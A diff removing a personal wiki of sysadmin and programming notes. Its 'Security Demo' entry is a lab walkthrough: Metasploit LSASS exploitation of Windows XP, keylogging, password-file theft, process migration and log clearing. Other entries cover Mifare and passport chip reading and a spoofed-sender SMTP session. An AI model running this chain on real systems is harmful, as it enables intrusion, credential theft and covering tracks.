-&lt;dt&gt;${&lt;i&gt;parameter&lt;/i&gt;#&lt;i&gt;word&lt;/i&gt;}&lt;/dt&gt;
-
-&lt;dd&gt;
-&lt;pre&gt;
-&lt;tt&gt;x=$HOME/src/cmd
-echo ${x#$HOME}
-&lt;/tt&gt;&lt;b&gt;/src/cmd&lt;/b&gt;
-&lt;/pre&gt;
-&lt;/dd&gt;
-
-&lt;dt&gt;${&lt;i&gt;parameter&lt;/i&gt;##&lt;i&gt;word&lt;/i&gt;}&lt;/dt&gt;
-
-&lt;dd&gt;
-&lt;pre&gt;
-&lt;tt&gt;x=/one/two/three
-echo ${x##*/}
-&lt;/tt&gt;&lt;b&gt;three&lt;/b&gt;
-&lt;/pre&gt;
-&lt;/dd&gt;
-&lt;/dl&gt;
-
-&lt;p&gt;The double-quoting of patterns is different depending on where the double-quotes are placed:&lt;/p&gt;
-
-&lt;dl compact&gt;
-&lt;dt&gt;&lt;tt&gt;&quot;${x#*}&quot;&lt;/tt&gt;&lt;/dt&gt;
-
-&lt;dd&gt;The asterisk is a pattern character.&lt;/dd&gt;
-
-&lt;dt&gt;&lt;tt&gt;${x#&quot;*&quot;}&lt;/tt&gt;&lt;/dt&gt;
-
-&lt;dd&gt;The literal asterisk is quoted and not special.&lt;/dd&gt;
-&lt;/dl&gt;
-
-&lt;/html&gt;
-
-!Arithmetic Expressions
-
-&lt;html&gt;
-&lt;p&gt;&lt;tt&gt;A simple example using arithmetic expansion:&lt;/tt&gt;&lt;/p&gt;
-
-&lt;blockquote&gt;
-&lt;pre&gt;
-&lt;tt&gt;# repeat a command 100 times
-x=100
-while [ $x -gt 0 ]
-do
- &lt;/tt&gt; &lt;i&gt;command&lt;/i&gt; &lt;tt&gt; x=$(($x-1))
-done
-&lt;/tt&gt;
-&lt;/pre&gt;
-&lt;/blockquote&gt;
-
-&lt;/html&gt;
-! Pipelines
-
-Both expressions write &quot;bar&quot;
-{{{
-false &amp;&amp; echo foo || echo bar
-true || echo foo &amp;&amp; echo bar
-}}}
-{{{
-while
- # a couple of &lt;newline&gt;s
-
-
- # a list
- date &amp;&amp; who || ls; cat file
- # a couple of &lt;newline&gt;s
-
-
- # another list
- wc file &gt; output &amp; true
-
-
-do
- # 2 lists
- ls
- cat file
-done
-}}}</pre>
-</div>
-<div title="Packet Sniffing" creator="makefu" modifier="makefu" created="201310101421" changecount="1">
-<pre>! tcpdump
-{{{
-# full packet sniff, avoid truncate
-tcpdump -i eth- -w out.pcap -s 0
-}}}</pre>
-</div>
-<div title="Playstation2" modifier="Felix" created="201102130403" modified="201105292308" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201105292308">
-<pre>!OpenPS2Loader
-
-Download: http://bitbucket.org/ifcaro/open-ps2-loader
-
-! Installing Games
-get it from the bundle
-{{{ iso2opl ISO INSTALLPATH GAMENAME [DVD|CD] }}}
-
-! fix ul.cfg
-!! deleting a game
-{{{ vim -b}}}
-
-64x before the entry you want to delete
-
-!! fixing DVD|CD
-DVD is 0x14 and right behind the filename entry
-CD is 0x12
-switch them with hexedit</pre>
-</div>
-<div title="Programming" modifier="makefu" created="201101311624" modified="201305201507" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201305201507">
-<pre>Mostly Code snippets:
-[[CPP]]
-[[Python2]]
-[[bash]]
-[[node.js]]
-[[POSIX Shell]]
-[[ruby]]
-[[powershell]]</pre>
-</div>
-<div title="Python Advanced" modifier="makefu" created="201101311640" modified="201310111000" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201304261135" changecount="3">
-<pre>! Python for the user
-in ~/.profile
-{{{
-export PYTHONPATH=~/.local/lib/python2.7/site-packages
-export PATH=$PATH:~/.local/lbin
-}}}
-then do
-{{{
-pip install --user &lt;stuff&gt;
-}}}
-! Interactive Shell
-!! Activate Tab Completion
-{{{
-import rlcompleter,readline;readline.parse_and_bind(&quot;tab: complete&quot;)
-}}}
-! Single file Python
-!! py2zip
-from http://people.canonical.com/~roman.yepishev/us/src/
-{{{
-#!/bin/bash
-
-ORIG_PWD=$PWD
-
-set -ex
-
-TARGET=&quot;$1&quot;
-TARGET_BASENAME=`basename &quot;$TARGET&quot;`
-shift
-
-MAIN=$1
-shift
-
-FILES=&quot;$*&quot;
-TEMPDIR=`mktemp -d /tmp/XXXXXXXX`
-
-cp &quot;$MAIN&quot; &quot;$TEMPDIR/__main__.py&quot;
-cp --parents -r $FILES &quot;$TEMPDIR/&quot;
-
-cd &quot;$TEMPDIR&quot;
-zip -q -r build.zip *
-cd &quot;$ORIG_PWD&quot;
-echo &quot;#!/usr/bin/python&quot; &gt; &quot;$TEMPDIR/build.header&quot;
-cat &quot;$TEMPDIR/build.header&quot; &quot;$TEMPDIR/build.zip&quot; &gt; &quot;$TEMPDIR/$TARGET_BASENAME&quot;
-chmod +x &quot;$TEMPDIR/$TARGET_BASENAME&quot;
-mv &quot;$TEMPDIR/$TARGET_BASENAME&quot; $TARGET
-}}}
-
-!Conditionals
-{{{
-&gt;&gt;&gt; x = 5
-&gt;&gt;&gt; 1 &lt; x &lt; 10
-True
-&gt;&gt;&gt; 10 &lt; x &lt; 20
-False
-&gt;&gt;&gt; x &lt; 10 &lt; x*10 &lt; 100
-True
-&gt;&gt;&gt; 10 &gt; x &lt;= 9
-True
-&gt;&gt;&gt; 5 == x &gt; 4
-True
-}}}
-!Random
-{{{
-from random import random
-seed() # which seed to use
-randint(a,b) # int between a and b
-randrange(start,stop,step) # like choice(range(start,stop,step))
-hoice(seq) # random choice from sequence
-shuffle(x) # shuffles sequence
-sample(seq,num) # choose num samples
-uniform() # float between a and b
-}}}
-!Decorators
-{{{
-
-def print_args(function):
- def wrapper(*args, **kwargs):
- print 'Arguments:', args, kwargs
- return function(*args, **kwargs)
- return wrapper
-
-@print_args
-def write(text):
- print text
-
-&gt;&gt;&gt; write('foo')
-Arguments: ('foo',){}
-foo
-}}}
-!Advanced Regexes
-{{{
-re.compile(&quot;^\[font(?:=(?P&lt;size&gt;[-+][0-9]{1,2}))?\](.*?)[/font]&quot;,
- re.DEBUG)
-}}}</pre>
-</div>
-<div title="Python Basics" modifier="Felix" created="201101311635" modified="201103062126" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103062126">
-<pre>!General
-{{{
-id(obj) -- returns the address of the object
-help(obj) -- returns help for the object
-dir(obj) -- returns what the obj provides
-
-#### counter loop
- for i in range(5):
- print i
-
-#### Just run code when called directly
-if __name__ == '__main__':
- main()
-
-# swap vars
-a,b,c = c,a,b
-}}}
-
-!Dictionaries
-{{{
-# var in dict
-print d.get('key','not found')
-
-# dictionary has key
-dict().has_key(k)
-
-# intersection
-print &quot;Intersects:&quot;, [k for k in some_dict if k in another_dict]
-}}}
-!Loops
-{{{
-for k,v in dict.iteritems():
- print k,v
-for i,v in enumerate(dict):
- print &quot;item no.&quot;,i,&quot;value: &quot;,v
-}}}</pre>
-</div>
-<div title="Python Code Snippets" modifier="makefu" created="201106270910" modified="201303141322" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201303141322">
-<pre>!quick Random String
-{{{
-hashlib.md5(str(random.random()).encode()).hexdigest()[:11]
-or
-base64.b64encode(str(random.random()))[:-1]
-}}}
-! Port Scanner
-{{{
-python2 -c &quot;from socket import socket;from sys import exit;exit(socket().connect_ex(('$HOST',$PORT)))&quot;
-}}}</pre>
-</div>
-<div title="Python Debugger" modifier="Felix" created="201101311632" modified="201101311652" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201101311652">
-<pre>!pdb
-{{{
-import pdb
-pdb.set_trace()
-}}}
-!ipython debugging
-{{{
-ipython --pylab
-plot(list)
-%pdb on
-
-import pdb
-pdb.run('class.function()')
-
-import profile
-profile.run('class.function()')
-}}}
-!ipython enhanced pdb
-{{{
-
-from IPython.Debugger import Tracer; debug_here = Tracer()
-debug_here()
-
-#in shell
-run -d -b 3 proggy
-# s for debug
-# b for new breakpoint
-}}}
-</pre>
-</div>
-<div title="Python Logging" modifier="makefu" created="201109132312" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201109132312">
-<pre>! Log to Syslog
-{{{
-import logging, logging.handlers
-logger = logging.getLogger(&quot;a_name&quot;)
-hdlr = logging.handlers.SysLogHandler(
-facility=logging.handlers.SysLogHandler.LOG_DAEMON)
-formatter = logging.Formatter(
-'%(filename)s: %(levelname)s: %(message)s')
-hdlr.setFormatter(formatter)
-logger.addHandler(hdlr)
-}}}</pre>
-</div>
-<div title="Python Mail" modifier="Felix" created="201101311644" modified="201101311648" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201101311648">
-<pre>!SMTP
-http://docs.python.org/library/smtplib.html
-
-{{{
-import sys, smtplib,string
-
-fromaddr = raw_input(&quot;From: &quot;)
-toaddrs = string.splitfields(raw_input(&quot;To: &quot;), ',')
-msg = (&quot;From: %s\r\nTo: %s\r\n\r\n&quot;
- % (fromaddr, &quot;, &quot;.join(toaddrs)))
-print &quot;Enter message, end with ^D:&quot;
-msg = ''
-while 1:
- line = sys.stdin.readline()
- if not line:
- break
- msg = msg + line
-# The actual mail send
-server = smtplib.SMTP('localhost')
-#server.login(user,pass)
-server.sendmail(fromaddr, toaddrs, msg)
-server.quit()
-}}}
-
-!POP3
-http://docs.python.org/library/poplib.html
-{{{
-import getpass, poplib
-
-M = poplib.POP3('localhost')
-M.user(getpass.getuser())
-M.pass_(getpass.getpass())
-numMessages = len(M.list()[1])
-for i in range(numMessages):
- for j in M.retr(i+1)[1]:
- print j
-}}}
-!imap4
-http://docs.python.org/library/imaplib.html
-{{{
-import getpass, imaplib
-
-M = imaplib.IMAP4()
-M.login(getpass.getuser(), getpass.getpass())
-M.select()
-typ, data = M.search(None, 'ALL')
-for num in data[0].split():
- typ, data = M.fetch(num, '(RFC822)')
- print 'Message %s\n%s\n' % (num, data[0][1])
-M.close()
-M.logout()
-}}}</pre>
-</div>
-<div title="Python Naming Conventions" modifier="Felix" created="201101311645" modified="201101312123" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201101312123">
-<pre>{{{
-modules : lowercase+short
-classes : CapWords
-Exceptions : CapsWords+Error
-Functions : self for instance, cls for classvar
-method+ : leading _ for non-public
-instance : lowercase seperated by underscore when necessary
-Global : like class
-constants : CAPS_LOCK
-}}}</pre>
-</div>
-<div title="Python Signals" modifier="Felix" created="201101311700" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201101311700">
-<pre>{{{
-import signal,os
-
-# handler function
-def handler(signum,frame):
- print 'something happened'
-# register signal
-signal.signal(signal.SIGALRM,handler)
-
-# send sigalrm in 5 seconds
-signal.alarm(5)
-}}}</pre>
-</div>
-<div title="Python Strings" modifier="Felix" created="201101311627" modified="201101311631" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201101311631">
-<pre>{{{
-int (string ) -- integer to string
-str.encode('rot13') -- encode string to rot13
-str.split() -- splits at SPACE, takes optional token
-shlex.split(str) -- tokenizes in shellstyle( &quot;bla bla&quot; stays together)
-chr(NUM) =&gt; Character
-ord('a') =&gt; Integer
-#Centering Command Line
-print '|', 'hej'.ljust(20,'+'), '|', 'hej'.rjust(20,'-'), '|', 'hej'.center(20,'*), '|'
-#Format Strings (old Style)
-print &quot;string %s float %.3f&quot; % (string, float)
-}}}
-
-!String Templates
-{{{
-s = Template(&quot;$who is $what&quot;)
-s.substitute(who=&quot;bob&quot;, what=&quot;teh sux&quot;) -- crashes when not enough params
-s.safe_substitute() -- keeps not substituted identifier intact
-}}}
-</pre>
-</div>
-<div title="Python Threading and Process Creation" modifier="Felix" created="201101311653" modified="201101311659" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201101311659">
-<pre>!Lightweight Threads Based
-{{{
-#!/usr/bin/python
-# -- basics --
-# all internal python operations are thread safe and use the same internal lock
-
-# -- timer --
-
-# do something after a specified time
-import threading.Timer
-def hello():
- print &quot;hello, world&quot;
-
-t = threading.Timer(30.0, hello)
-t.start() # after 30 seconds, &quot;hello, world&quot; will be printed
-
-# -- Thread for function --
-
-from threading import Thread
-def f1(a):
- print &quot;ass&quot;
- return a
-
-b = 1
-t_f1 = Thread(target = f1, args = (b,))
-t_f1.start()
-
-# ( e.g. thread in endless loop )
-
-class loopthread(Thread):
- def __init__(self,bla):
- Thread.__init__(self)
- def threadLoop(self):
- while 1:
- # you might also want aquire and lock here
- if self.loopon==0:
- break
- #...do stuff...
- def stopThread(self):
- self.loopon=1
- self.thread1.join() # wait for finish
-}}}
-!Multiprocessing
-http://docs.python.org/library/multiprocessing.html
-{{{
-p = Pool(5)
-def f(x):
- return x*x
-
-p.map(f, [1,2,3])
-}}}
-!Process creation
-http://docs.python.org/library/subprocess.html
-{{{
-&quot;&quot;&quot;
-subprocess.
- Popen([&quot;/bin/ls&quot;, &quot;-l&quot;) # has many bonus parameters, asynchronous call
- call([&quot;/bin/ls&quot;, &quot;-l&quot;]) # waits for the program to stop
-
-Popen.
- poll() # checks if process terminated already
- wait() # waits for process to finish
- communicate(input=None) # interact with process via stdin, read from stdout,stderr, waits for process to finish
- # returns tuple (outdata,indata) needs Popen to have stdin=PIPE,etc..
- send_signal(SIGX)
- terminate() # SIGTERM
- kill() # SIGKILL
- stdin # pipes when Popen is called with stdin=PIPE, etc..
- stdout/stderr
- pid #process id
-&quot;&quot;&quot;
-# -- examples --
-
-# pipeline
-p1 = Popen([&quot;dmesg&quot;], stdout=PIPE)
-p2 = Popen([&quot;grep&quot;, &quot;hda&quot;], stdin=p1.stdout, stdout=PIPE)
-output = p2.communicate()[0]
-# backquote ( a=`ls -l` )
-output = Popen([&quot;ls&quot;, &quot;-l&quot;], stdout=PIPE).communicate()[0]
-# os.system()
-retcode = call(&quot;mycmd&quot; + &quot; myarg&quot;, shell=True)
-if retcode &lt; 0:
- #signal under UNIX
-else:
- #returncode
- pass
-
-# environmental variables
-Popen([&quot;/bin/mycmd&quot;, &quot;myarg&quot;], env={&quot;PATH&quot;: &quot;/usr/bin&quot;})
-}}}</pre>
-</div>
-<div title="Python curses" modifier="Felix" created="201103012329" modified="201103020004" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103020004">
-<pre>{{{
-import curses
-from curses.wrapper import wrapper
-
-def main(stdscr):
- curses.noecho() #normally do not echo keystrokes
- curses.cbreak() #not buffer input
- stdscr.keypad(1) # return special values
-
- curses.nocbreak(); stdscr.keypad(0); curses.echo();curses.endwin() #return to normal
-
-if __name__ == '__main__':
- wrapper(main)
-}}}
-!Texbox
-{{{
-import curses
-from curses.wrapper import wrapper
-from curses.textpad import Textbox
-
-def main(stdscr):
- curses.noecho() #normally do not echo keystrokes
- curses.cbreak() #not buffer input
- stdscr.keypad(1) # return special values
-
- curses.init_pair(1,curses.COLOR_GREEN,curses.COLOR_BLUE)
- curses.init_pair(2,curses.COLOR_YELLOW,curses.COLOR_BLACK)
- stdscr.bkgd(curses.color_pair(2))
- stdscr.box()
- stdscr.refresh()
-
- win1 = curses.newwin(20,40,10,5)
- win1.bkgd(curses.color_pair(1))
- win1.refresh()
-
- win2 = curses.newwin(20,40,10,50)
- win2.bkgd(curses.color_pair(2))
- win2.refresh()
-
- textbox = Textbox(win1)
- text = textbox.edit()
- win2.addstr(0,0,text)
- win2.refresh()
-
-
- # Displays a section of the pad in the middle of the screen
- c = stdscr.getch()
- curses.nocbreak(); stdscr.keypad(0); curses.echo();curses.endwin() #return to normal
-
-if __name__ == '__main__':
- wrapper(main) #supplies stdscr
-}}}</pre>
-</div>
-<div title="Python2" modifier="makefu" created="201101311626" modified="201109132311" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201109132311">
-<pre>[[Python Strings]]
-[[Python Basics]]
-[[Python Advanced]]
-[[Python Debugger]]
-[[Python Mail]]
-[[Python Naming Conventions]]
-[[Python Threading and Process Creation]]
-[[Python Signals]]
-[[Python Code Snippets]]
-[[Python Logging]]
-!GUI
-[[Python curses]]
-[[wxPython]]
-[[Tkinter]]</pre>
-</div>
-<div title="RHEL" modifier="makefu" created="201305150907" modified="201308131508" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201305150907" changecount="4">
-<pre>! Kickstart for installation
-In CD Rom Boot Menu:
-{{{
-linux ks=http://192.168.0.10:8001/ks.cfg
-}}}
-On 192.168.0.10
-{{{
-cat &gt;ks.cfg &lt;&lt;EOF
-install
-cdrom
-key --skip
-lang en_US.UTF-8
-keyboard us
-xconfig --startxonboot
-network --device eth0 --bootproto static --ip 172.29.174.238 --netmask 255.255.255.240 --gateway 172.29.174.225 --hostname BBMS-101
-rootpw --iscrypted $6$KbJWSNaf$tDaVXxtUw1nEH5mtutGd6hnpzZQbKmFw9hq2E0gNHp9m5IAm9h8KxZVB3bxdnelOJ0I9.CbGTw4qSIoc/rsix
-firewall --enabled --port=22:tcp
-reboot
-authconfig --enableshadow --enablemd5
-selinux --enforcing
-timezone --utc Europe/Berlin
-bootloader --location=mbr --driveorder=hda --append=&quot;rhgb quiet&quot;
-
-clearpart --linux --all --initlabel
-part /boot --fstype ext3 --size=1024 --ondisk=hda --asprimary
-part pv.4 --size=100 --grow --ondisk=hda
-#volgroup raid10_vg1 --pesize=32768 pv.15
-volgroup raid1_vg0 --pesize=32768 pv.4
-logvol /var --fstype ext3 --name=var --vgname=raid1_vg0 --size=5240
-logvol / --fstype ext3 --name=root --vgname=raid1_vg0 --size=5000
-logvol /tmp --fstype ext3 --name=tmp --vgname=raid1_vg0 --size=2048
-logvol /var/log/audit --fstype ext3 --name=var_log_audit --vgname=raid1_vg0 --size=1120
-logvol /var/log --fstype ext3 --name=var_log --vgname=raid1_vg0 --size=2000
-
-%packages
-@admin-tools
-@base
-@core
-@dialup
-@editors
-@gnome-desktop
-@games
-@graphical-internet
-@graphics
-@java
-@legacy-software-support
-@office
-@printing
-@sound-and-video
-@text-internet
-@base-x
-kexec-tools
-iscsi-initiator-utils
-fipscheck
-device-mapper-multipath
-sgpio
-emacs
-libsane-hpaio
-xorg-x11-utils
-xorg-x11-server-Xnest
-EOF
-python -m http.server 8001
-}}}
-! Install Only Security Patches
-{{{
-yum install yum-security
-yum list-security
-yum --security check-update
-yum update --security
-}}}
-</pre>
-</div>
-<div title="RT2870 WiFi" modifier="Felix" created="201101311623" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201101311623">
-<pre>Sun Apr 18 2010 :
-install aur rt2870
-
-# in /etc/modprobe/wireless.conf
-{{{
-blacklist rt2800usb, rt2x00usb , rt2x00lib
-}}}
-then REBOOT
-</pre>
-</div>
-<div title="ReinerSCT" modifier="makefu" created="201102060154" modified="201107252247" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201107252247">
-<pre>!pcsc SmartCard Reader
-{{{
-bb -S pcsc-perl pcsclite pcsc-tools
-/etc/rc.d/pcscd start
-pcsc_scan
-}}}
-! install
-yaourt -S libfreefare mfoc
-!! Dump Mifare Classic
-{{{
-mfoc -O here2.dump
-}}}
-!!get Serial Number of the card
-{{{
-echo FFCA000000 | scriptor
-}}}
-Commands : http://www.wrankl.de/SCTables/SCTables.html
-Tutorial DESFire
-http://ridrix.wordpress.com/2009/09/19/mifare-desfire-communication-example/
-!ctapi
-{{{
-bb -S ctapi-cyberjack hal
-/etc/rc.d/hal restart
-dbus-daemon --system
-cyberjack
-}}}
-!rfidiot
-http://rfidiot.org
-!!prereq
-download and install pyscard
-download rfidiot
-!!patching
-{{{
-# in RFIDIOtconfig.py
-&gt; readernum = 0
-
-# in RFIDIOt
-&gt; if readernum &gt; len(self.pcsc)
-
-&gt;self.readername = str(self.pcsc[readernum])
-&gt; #self.pcsc_connection.disconnect()
-}}}
-!! Passport
-extract Certificate and picture
-{{{
-python2 mrpkey.py &quot;lower line of the passport&quot;
-}}}
-</pre>
-</div>
-<div title="SMTP" modifier="makefu" created="201306101204" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201306101204">
-<pre>! Write basic SMTP
-{{{
-$ telnet hoemail1.alcatel.com 25 1 ↵
-Trying 192.160.6.148...
-Connected to hoemail1.alcatel.com.
-Escape character is '^]'.
-220 hoemail1.alcatel.com ESMTP Mon, 10 Jun 2013 06:59:32 -0500 (CDT)
-HELO me.lolwutland.com
-250 hoemail1.alcatel.com Hello [192.40.56.122], pleased to meet you
-MAIL FROM:&lt;bill@microsoft.com&gt;
-250 2.1.0 &lt;bill@microsoft.com&gt;... Sender ok
-RCPT TO:&lt;christopher.gregorian@alcatel-lucent.com&gt;
-250 2.1.5 &lt;christopher.gregorian@alcatel-lucent.com&gt;... Recipient ok
-DATA
-354 Enter mail, end with &quot;.&quot; on a line by itself
-From:&lt;bill@microsoft.com&gt;
-To:&lt;christopher.gregorian@alcatel-lucent.com&gt;
-Subject: Job Offer
-
-Get a great job at Microsoft!
-.
-250 2.0.0 r5ABxW2G028697 Message accepted for delivery
-}}}</pre>
-</div>
-<div title="SecTools" modifier="Felix" created="201101311547" modified="201104191221" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201104191221">
-<pre>mwmap -- map network from pcap -- http://sourceforge.net/projects/nwmap/
-mz -- mausezahn fast packet forgery -- http://www.perihel.at/sec/mz/
-
-! Penetration Testing
-!! Web Penetration Testing
-!!! SQL Injection
-http://sqlmap.sourceforge.net/
-http://sqlninja.sourceforge.net/
-!!! Proxies
-Zed Attack Proxy - http://code.google.com/p/zaproxy/
-
-!!! Education
-http://www.darknet.org.uk/2011/04/bodgeit-store-vulnerable-web-application-for-penetration-testing/
-</pre>
-</div>
-<div title="Security" modifier="makefu" created="201101311544" modified="201306101203" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201306101203">
-<pre>[[Hardening]]
-[[SecTools]]
-[[Exploits]]
-[[Evasion]]
-[[Security Demo]]
-[[Contracts]]
-[[MS Windows]]
-! Cloud Services
-[[Dotcloud]]
-[[No.de]]
-! Evasion
-[[DNS TUNNEL]]
-! Defense
-[[honeyd]]
-! USB stuff
-[[u3-tool]]
-! Basics
-[[SMTP]]</pre>
-</div>
-<div title="Security Demo" modifier="Felix" created="201102101424" modified="201102101425" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102101425">
-<pre>! Aufbau
-Laptop1: 192.168.100.23
-&gt; Backtrack : 192.168.100.5
-Laptop2: 192.168.100.42
-&gt; Windows XP Service Pack 0 : 192.168.100.2
-
-{{{ alias nmap='nmap -T insane ' }}}
-
-! 1. Footprinting
-{{{
-Soviele informationen ausfindig machen uber das Ziel wie moeglich,
-soziale webseiten, suchmaschinen, DNS eintraege, etc.
-Moegliche Ziele ausfindig machen
-
-! 2. Scanning and Enumeration
-{{{
-nmap -sP 192.168.100.* // Pingscan - unauffaelliger Scan um zu
-nmap -A 192.168.100.2 // winxp sp0
-nmap -A 192.168.100.42 // winxp sp3
-}}}
-! 3. Hacking and Exploitation
-{{{
-msfconsole
-use exploit/windows/smb/ms04_011_lsass
-set PAYLOAD windows/meterpreter/bind_tcp
-set RHOST 192.168.100.2
-exploit // geschafft!
-
-// schauen was es so gibt auf dem Computer
-cd &quot;../../Documents and Settings/Administrator/My Documents&quot;
-cat passwoerter.txt
-download passwoerter.txt
-
-//Keylogger
-keyscan_start
-// Eingabe credentials in Messenger
-keyscan_dump
-keyscan_stop
-}}}
-! 4. Privilege Escalation
-{{{
-ps // finde explorer.exe PID
-migrate PID // Schadcode in Prozess verstecken,
-// dessen Rechte und Eigenschaften annehmen (Zugriff auf Grafische Oberflaeche)
-
-execute -f calc // nur &quot;Taschenrechner&quot; ausfuehren, kann aber alles sein
-screenshot // image von Desktop
-
-set RHOST 192.168.100.1 // gepatchtes Windows
-}}}
-!5. Covering Tracks
-{{{
-// auch noch rootkits/backdoors pflanzen fuer spaeteren zugriff
-clearev
-// ausweitung des angriffs auf weitere computer im netzwerk
-shutdown
-}}}</pre>
-</div>
-<div title="Shells" modifier="makefu" created="201102130349" modified="201112251140" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201112251140">
-<pre>! cool Tools
-qmv - qewl graphical win
-rlwrap - linewrapper
-!! parallel stuff
-{{{
-seq -w 19 |
- parallel wget http://hackermonthly.com/xmas/hackermonthly-issue0{}.zip
-wget -P4 -n1 http://hackermonthly.com/xmas/hackermonthly-issue0{01..19}.zip
-}}}
-</pre>
-</div>
-<div title="Silicon Images SATA Controller" modifier="Felix" created="201104122307" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201104122307">
-<pre>! Firmware Update
-http://www.siliconimage.com/support/searchresults.aspx?pid=28&amp;cat=15
-take
-{{{BIOS Update Utility for DOS}}}
-and :
-{{{SiI3114 IDE, SATARAID5 and system BIOS}}}
-!! In Freedos
-{{{
-updflash b5403.bin -a -d -v -ID3114 -u
-}}}
-For non-raid Mode
-</pre>
-</div>
-<div title="SiteSubtitle" modifier="Felix" created="201101310139" modified="201102150954" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201102150954">
-<pre></pre>
-</div>
-<div title="SiteTitle" modifier="Felix" created="201101310139" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201101310139">
-<pre>Knowledge Base</pre>
-</div>
-<div title="Software Raid" modifier="YourName" created="201107091453" modified="201308291137" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201107091454" changecount="3">
-<pre>see [[HDD encryption]]
-! Tweaks
-If Raid is slow, try
-{{{
-echo 16384 | sudo tee /sys/block/md&lt;X&gt;/md/stripe_cache_size
-}}}
-If this works
-{{{
-cat &gt;/etc/udev/rules.d/60-md-stripe-cache.rules &lt;&lt;EOF
-SUBSYSTEM==&quot;block&quot;, KERNEL==&quot;md*&quot;, ACTION==&quot;change&quot;, TEST==&quot;md/stripe_cache_size&quot;, ATTR{md/stripe_cache_size}=&quot;16384&quot;
-EOF
-}}}</pre>
-</div>
-<div title="TODO" modifier="makefu" created="201102011310" modified="201304261128" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201304261128">
-<pre>* [[HDD encryption]]
-* [[habanero]]
-* [[cygwin]]
-* [[Fahrrad]]
-* [[Network Boot]]
-* [[Amazon Web Service]]
-* [[Dropbox]]
-* [[UbuntuOne]]
-* [[firefox]]
-* [[mysql]]
-* [[Anschriften]]
-* [[einkaufen]]
-* [[vhosts]]
-* [[Dealextreme]]
-* [[CSS]]
-* [[evdev]]</pre>
-</div>
-<div title="Tahoe LAFS" modifier="makefu" created="201307231340" modified="201307231745" tags="tahoe" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201307231745">
-<pre>! Installation
-!! ubuntu 12.04
-{{{
-aptitude install g++ python-pip python-dev
-pip install twisted pyasn1
-pip install allmydata-tahoe
-}}}</pre>
-</div>
-<div title="Terminal" modifier="Felix" created="201104091727" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201104091727">
-<pre>{{{
-#!/bin/bash
-if ! [ &quot;$1&quot; ];
-then
- echo &quot;no pixelsize set&quot;
- exit 1
-fi
-#printf '\33]50;%s%d\007' &quot;xft:Terminus:pixelsize=&quot; $1
-}}}</pre>
-</div>
-<div title="Tkinter" modifier="Felix" created="201103020036" modified="201103031213" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103031213">
-<pre>!Basic Sample
-{{{
-from Tkinter import *
-
-class App(Frame):
- def say_hi(self):
- print &quot;hi&quot;
-
- def createWidgets(self):
- self.QUIT = Button(self)
- self.QUIT['text'] = 'aidsballs'
- self.QUIT['fg'] = 'red'
- self.QUIT['command'] = self.quit
- self.QUIT.pack({'side' : 'left'})
-
- self.hi= Button(self)
- self.hi['text'] = 'hi'
- self.hi['command'] = self.say_hi
- self.hi.pack({'side' : 'left'})
- def __init__(self,master=None):
- Frame.__init__(self,master)
- self.pack()
- self.createWidgets()
-
-root = Tk()
-app = App(master=root)
-app.mainloop()
-root.destroy()
-}}}
-!Grid Layout
-{{{
-from Tkinter import *
-a = Frame(root)
-frame.columnconfigure(0,weight=1) # make the column 0 stretchy horizontally
-frame.rowconfigure(0,weight=1) # make row 0 stretchy vertically
-b = Label(a,text='bob')
-b.grid(row=0,column=0,sticky=N+S+W) # stretch out vertically and be alligned at the left side
-}}}</pre>
-</div>
-<div title="Trim on SSDs" creator="makefu" modifier="makefu" created="201309031636" modified="201309031641" tags="journal" changecount="3">
-<pre>! filesystem
-!! /etc/fstab
-add discard to options
-{{{
-/dev/mapper/main-root / ext4 rw,noatime,discard 0 1
-}}}
-! LUKS
-!! grub with crypto-root
-in {{{/etc/default/grub}}}
-{{{
-GRUB_CMDLINE_LINUX=&quot;init=/usr/lib/systemd/systemd cryptdevice=/dev/sda2:main:allow-discards elevator=noop&quot;
-}}}
-!! cryptsetup
-{{{
-cryptsetup luksOpen --allow-discards /dev/sdx main
-}}}
-! LVM
-!! /etc/lvm/lvm.conf
-{{{
-#enable
-issue_discards
-}}}
-! manual trim
-{{{
-fstrim -v &lt;mountpoint&gt;
-}}}</pre>
-</div>
-<div title="UMTS Stick" modifier="Felix" created="201103261954" modified="201103270008" tags="internet forwarding" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103270008">
-<pre>! internet forwarding
-see [[Network Boot]] for DHCP Daemon configuration
